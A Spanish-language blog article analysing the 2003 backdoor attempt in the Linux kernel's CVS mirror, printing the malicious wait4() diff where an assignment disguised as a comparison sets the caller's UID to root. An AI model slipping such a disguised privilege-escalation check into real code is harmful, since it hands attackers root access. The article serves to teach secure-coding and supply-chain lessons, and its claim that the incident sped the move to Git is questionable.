## Puerta trasera en el kernel de Linux: Cómo un bug en wait4() casi concedió acceso root
En 2003, los desarrolladores de Linux descubrieron un cambio no autorizado en el repositorio CVS. Un fragmento de código sospechoso había sido insertado en la función wait4(), que potencialmente otorgaba privilegios root a cualquier usuario. El cambio apareció sin ningún rastro en el repositorio principal de BitKeeper, señalando directamente una brecha en el repositorio CVS.
El código parecía inofensivo a primera vista:
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
El problema se escondía en el operador =. En lugar de una comparación con ==, se trataba de una asignación que establecía current->uid en 0 (root) para cualquier llamada a wait4() con las banderas __WCLONE y __WALL. Esto abría un camino a la escalada de privilegios sin comprobaciones adicionales.
Historia del repositorio y punto de entrada de la vulnerabilidad
En aquella época, Linux dependía de dos repositorios en paralelo:
- BitKeeper — el VCS principal y moderno para el kernel.
- CVS — un repositorio legacy para herramientas antiguas y desarrolladores de la vieja escuela.
La sincronización era manual: los cambios de BitKeeper se copiaban a CVS junto con las etiquetas. El atacante apuntó específicamente a CVS, colando el parche sin ser detectado. La falta de comprobaciones automáticas y las audiencias diferentes de los repositorios permitieron que la brecha pasara desapercibida.
Los desarrolladores detectaron la anomalía durante una revisión rutinaria: un commit en CVS sin equivalente en BitKeeper. Al comparar versiones, se reveló el código malicioso.
Análisis técnico de la vulnerabilidad
La función wait4() se encarga de esperar a que terminen los procesos hijo, con opciones extendidas. Las banderas __WCLONE y __WALL siguen clones y todos los procesos.
La lógica del ataque era simple:
- El usuario llama a
wait4(options = __WCLONE | __WALL). - La condición
current->uid = 0asigna el UID 0 (root). - Devuelve
-EINVAL, ocultando el éxito. - Las llamadas subsiguientes al sistema se ejecutan como root.
Se trataba de una puerta trasera zero-day: no hacía falta un exploit, se activaba con una llamada estándar. Errores similares (= en vez de ==) son una fuente común de vulnerabilidades en C.
Lecciones para el desarrollo moderno
El incidente puso de manifiesto los riesgos de los sistemas legacy. Las prácticas actuales minimizan este tipo de amenazas:
- Repositorio único: Git con branches y PRs.
- CI/CD con comprobaciones: diffs automáticos, análisis estático (Coverity, Clang).
- Firma de commits: GPG/PGP para autenticación.
- Etiquetas firmadas: Protección de lanzamientos.
- Fuzzing y auditorías: Pruebas continuas de syscalls.
El kernel de Linux ahora exige revisiones de código y pruebas automatizadas para estos patrones.
Lecciones clave
- El bug de
=en lugar de==enwait4()creó una puerta trasera root para cualquier usuario. - El hack se coló por CVS, mientras BitKeeper permaneció limpio.
- La sincronización manual de repos fue el eslabón débil en 2003.
- El incidente aceleró el paso a Git en el desarrollo del kernel.
- Verifica siempre las condiciones en las sentencias if: los compiladores no siempre detectan asignaciones.
— Editorial Team
Aún no hay comentarios.